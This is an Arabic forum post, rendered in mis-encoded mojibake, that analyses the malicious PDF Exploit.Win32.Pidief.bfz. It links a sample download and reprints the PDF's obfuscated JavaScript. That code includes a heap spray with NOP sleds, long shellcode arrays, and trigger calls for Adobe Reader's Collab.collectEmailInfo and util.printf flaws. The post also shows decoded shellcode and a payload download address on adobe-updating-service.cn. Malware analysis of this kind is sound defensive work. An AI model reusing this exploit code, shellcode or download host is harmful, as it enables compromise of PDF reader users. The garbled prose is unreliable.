ÈÓã Çááå ÇáÑÍãä ÇáÑÍíã.
ßäÊ ÞÏ ßÊÈÊ ÑÏ (ÚÈÇÑÉ Úä ÊÍáíá) Ýí ãæÖæÚ ßÊÈå ÇáÃÎ STRELiTZIA Úä
-ÊÍáíá Exploit.Win32.Pidief.bfz- ÝÃÑÏÊ Ãä ÃäÞáå åäÇ ááÝÇÆÏÉ.
ÇáÑÇÈØ:
http://www.at4re.com...ead.php?p=57005

ÇáÓáÇã Úáíßã æ ÑÍãÉ Çááå
ãáÝ ãáæË ÈÕíÛÉ : PDF ááÊÍáíá ÇÓã Úáì ãÓãì : Pidief
ÇáÈÑäÇãÌ ÇáÖÇÑ åæ : Exploit.Win32.Pidief.bfz
ÇáÈÇÕ : malware
ÈÇáÊæÝíÞ ááÌãíÚ

http://www.multiupload.com/TZU2JHGNCN

Usage: inflater.exe input_file output_folder [-v]

 input_file:PDF File
output_folder:Ãíä ÊÑíÏ æÖÚ ÇáÜStream ÇáÊí ßÇäÊ ãæÌæÏÉ Ýí PDF

Ãæ ÈÅÓÊÚãÇá Foxit Reader ÈÅÚÊÈÇÑå ÛíÑ ãÕÇÈ ÈÊáß ÇáËÛÑÇÊ.
æÐáß ÈÚÏ ÇáÅÎÊíÇÑ ãä ÇáÞÇÆãÉ Advanced æÅÎÊíÇÑ Document JavaScript.

ÓÃÊÍÏË Úä Payload Evolution Çæ ãÇ íÓãì ÊØæÑ ÇáÍãæáÉ Ýí Exploit.
1-ÇáÍãæáÉ ÇáÃæáíÉ:
Êã ÅÓÊÚãÇá ÊÞäíÉ ÈÓíØÉ Ýí Obfuscation ÍíË Ãäå Êã æÖÚ Exploit Úáì Ôßá Hex Ýí ãÕÝæÝÉ.
æÈÚÏåÇ Ðáß íÞæã ÇáßæÏ ÈÊÔÛíá Exploit æÓäÊÍÏË Úä ÇáãäÇæÑÉ ÇáÐßíÉ ÇáãÓÊÚãáÉ .
ÇßæÏ:

var arr = new Array('%76%61%','72%20%','6c%32%3','1%50%','5a%7a%','30%51%20%3','d%20%6','e%65%........................,'3b');
string = getero(arr);

var l21PZz0Q = new Array();
var haZ0Rmde;
function s8oOpYtLG(ve9sKDVuey, yNnpk1Ya6)
{
while(ve9sKDVuey.length * 2 < yNnpk1Ya6)
{
ve9sKDVuey += ve9sKDVuey;
}
ve9sKDVuey = ve9sKDVuey.substring(0, yNnpk1Ya6 / 2);
return 
ve9sKDVuey;
}
function gdBvrtVkT(vGTSfY3ftC)
{
if(vGTSfY3ftC == 0)
{
var vOtVmM9Ws6 = 0x0c0c0c0c;
var ruNE9AoC = new Array('卐%','u5251%u','5756৅','5è%','u0000%u','5d00໘','3̐','d擀','003x','30‹','0cÄ','0炋%','uad1c%u','408b%','ueb08‹','09̈́','0䂍','b7c㱀','坖','ebe%','u0100௾','eŎ%u','0000%','uef01
','6e8%u','0001%','u5f00࢕','e自','廂','01R','00','068','00࿰','0井%u','0001‰','00自','׬','2%u','3100%u','01f6','ac2͙','cɣ','%','ufb80%u','7400%','u8806','21cິ','6౮','e㈄%u','8900%u','81ea%','u45c2','002Ԡ','0闿%u','0152','00%u','c281%u','0250','00ԅ','2闿','156','0j','06a','a89슁%','u015e','','襒','自x','c2','刀','6aÐ','ff','6a%u','c281%','u015e%','u0000','f52֩','5','褀','自%','u5ec2%u','0001刀','聨','%u','ff00%','u4e95%','u0001࢐','0自','廂%','u0001%u','3100','6諂%u','359c%','u026e','%','ufb80݀','0蠆%','u321c%','ueb46౮','e㈄%','u8900','自%u','45c2%','u0002%u','5200闿','Œ','','0ê','89','281ɐ','','052%u','95ffŖ','','0','a','6a','న','1','e','襒%','u81ea
','6c2%u','0002刀','j%','ud0ff%u','056a%u','ea89%','uc281','Ş%u','0000%u','ff52֩','5','鴀%u','5f5d֥','e[','59썘%u','0000','00%','u0000','%','u0000%','u0000','','0ٔ','7呴%','u6d65','偰','461䅨','䰀','慯%','u4c64b','69a','72y','72','041ٔ','7側%u','6f72%u','4163%','u6464e','72ܷ','3հ','0湩%','u7845%','u6365»','00%u','f789%u','c030%','u75ae)','fd࢟','7̟','9뻀','<%u','0000%u','b503','21b','00굦','蔃%u','021b','0炋','378᳆%','ub503','1b','00௘','d','1f','00','3adƸ','5%u','ab00','3adᮅ','','000궫','蔃%','u021b','00','eab�','嚭','503!','b','욉%','ud789','c51੯','3t','59帄','%u','5ee9Ñ','93','3e0➅','','100–','f6૖','6','302ᾅ','','褀%','uadc6…','03ț','ë','c3%u','0000','0','000','00','00%','u8900Ƹ','5','600','857ｘ','?^','5fƫ%u','80ce%u','bb3eɴ','','嗃L','52','f4d.','4eӄ','4L%','u5255%','u444cw','6fۆ','e慯','464F','6f汩%u','4165%','u7500å','0瑡','e65','865','65牣','獡%u','2e68h','70p%u','7468灴','˳','a愯%u','6f64ٖ','2甭%u','6470݆','1湩%','u2d67%u','6573%','u7672%u','6369','e65%u','6e63%','u6e2f','c75','f6cp','75ؖ','4整%u','702e܆','8椿','㵤','0%u','9000');
;
haZ0Rmde = app.setTimeOut("app.m2B1rLly()", 10);

var Block = new Array();
var func;
app.m2B1rLly = Exploit_func;
func = app.setTimeOut("app.m2B1rLly()", 10);
function Build_nop(NOP, size)
{
while(NOP.length * 2 < size)
{
NOP += NOP;
}
NOP = NOP.substring(0, size / 2);
return 
NOP;
}
function spray(Version_Chk)
{
//-------------------------------------------------------
if(Version_Chk == 0)
{
var addr = 0x0c0c0c0c;
.............}
}
}

ãÎØØ Úãá ÇáÜExploit:

ÅÖÛØ Úáì ÇáÕæÑÉ áßí ÊÔÇåÏåÇ ÈÍÌãåÇ ÇáÃÕáí.
ÇáÂä äÃÊí áÊÍáíá åÐÇ ÇáÅÓÊËãÇÑ.
ßãÇ íÙåÑ ÝÅäå íæÌÏ ËáÇË ÏæÇá Ýí ÇáÅÓÊËãÇÑ ÇáÑÆíÓí.
ÏÇáÉ Build_nop :
åí ÏÇáÉ ÈÓíØÉ ÊÞÈá 2 ÈÇÑÇãÊÑ æÚãáåÇ æÇÖÍ Åáì ÍÏ ãÇ¡áßä ãÇ íåãäÇ åæ ÇáÏæÇá ÇáÃÎÑì.
ÏÇáÉ spray:
íáÇÍÙ ãä ÅÓã ÇáÏÇáÉ ÃäåÇ ÊÞæã ÈÚãáíÉ ãáà ÇáßæãÉ (Çæ ãÇ íÓãì ÑÔ ÇáßæãÉ) ÈÇáÜNOP + ÇáÔá ßæÏ æáÞÏ ÊÍÏËäÇ Úä åÐå ÇáÊÞäíÉ ÓÇÈÞÇ.
ÊÌÏåÇ åäÇ

//--------------------------------------------------------
Shellcode = unescape(Shellcode.join(""));
var SH_lenD = Shellcode.length * 2;
var size = 0x400000 - (SH_lenD + 0x38);
var NOP = unescape("邐邐");
NOP = Build_nop(NOP, size);
var size2 = (addr - 0x400000) / 0x400000;
for(var i = 0; i < size2; i++)
{
Block[i] = NOP + Shellcode;
}

if(Version_Chk == 0)
{
var addr = 0x0c0c0c0c;
var Shellcode = new Array('卐%','u5251%u','5756৅',....cp','75ؖ','4整%u','702e܆','8椿','㵤','0%u','9000');
}
else 
if(Version_Chk == 1){
addr = 0x30303030;
var Shellcode = new Array('卐','251յ','6鱕%u','00e8','00א','0໘','3ㄍ%u','64c0','003%u','7830%u','8b0c%u','0c40p'...'41     ','000');
}

var Version = app.viewerVersion.toString();

func = app.setTimeOut("app.m2B1rLly()", 10);

Adobe Acrobat and Reader Collab 'getIcon()' JavaScript Method Remote Code Execution Vulnerability
Adobe Acrobat and Reader 'Collab.collectEmailInfo()' Remot Code Execution
Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow Vulnerability

ÈáÇÍÙ Ýí åÐÇ ÇáÅÓÊËãÇÑ æÌæÏ ÈÚÖ ÇáãäÇæÑÇÊ ãäåÇ:

var ths = this;
var COB = Collab;
ths["collabStore"] = COB["collectEmailInfo"]({subj : "", msg : Sploit_triger});

this.collabStore = Collab.collectEmailInfo({subj: "",msg: Sploit_triger});

var metd2 = util;
metd2["printf"]("%45000f", qc1ncdvp);

util.printf("%45000f",qc1ncdvp);

string = getero(arr);

function getero(arr)
{
return unescape(arr.join(""));}

eval(string)

var aler_t = eval;

aler_t(string);

var aler_t = eval;

aler_t(string);

卐剑坖...u6c6e慯呤䙯汩䅥甀摰瑡⹥硥e牣獡⹨桰p瑨灴⼺愯潤敢甭摰瑡湩ⵧ敳癲捩⹥湣港汵⽬灵慤整瀮灨椿㵤0退

505351525657559ce8000000005d83ed0d31c0.......e7068703f69643d30000090

http://adobe-updating-service.cn/null/update.php?id=0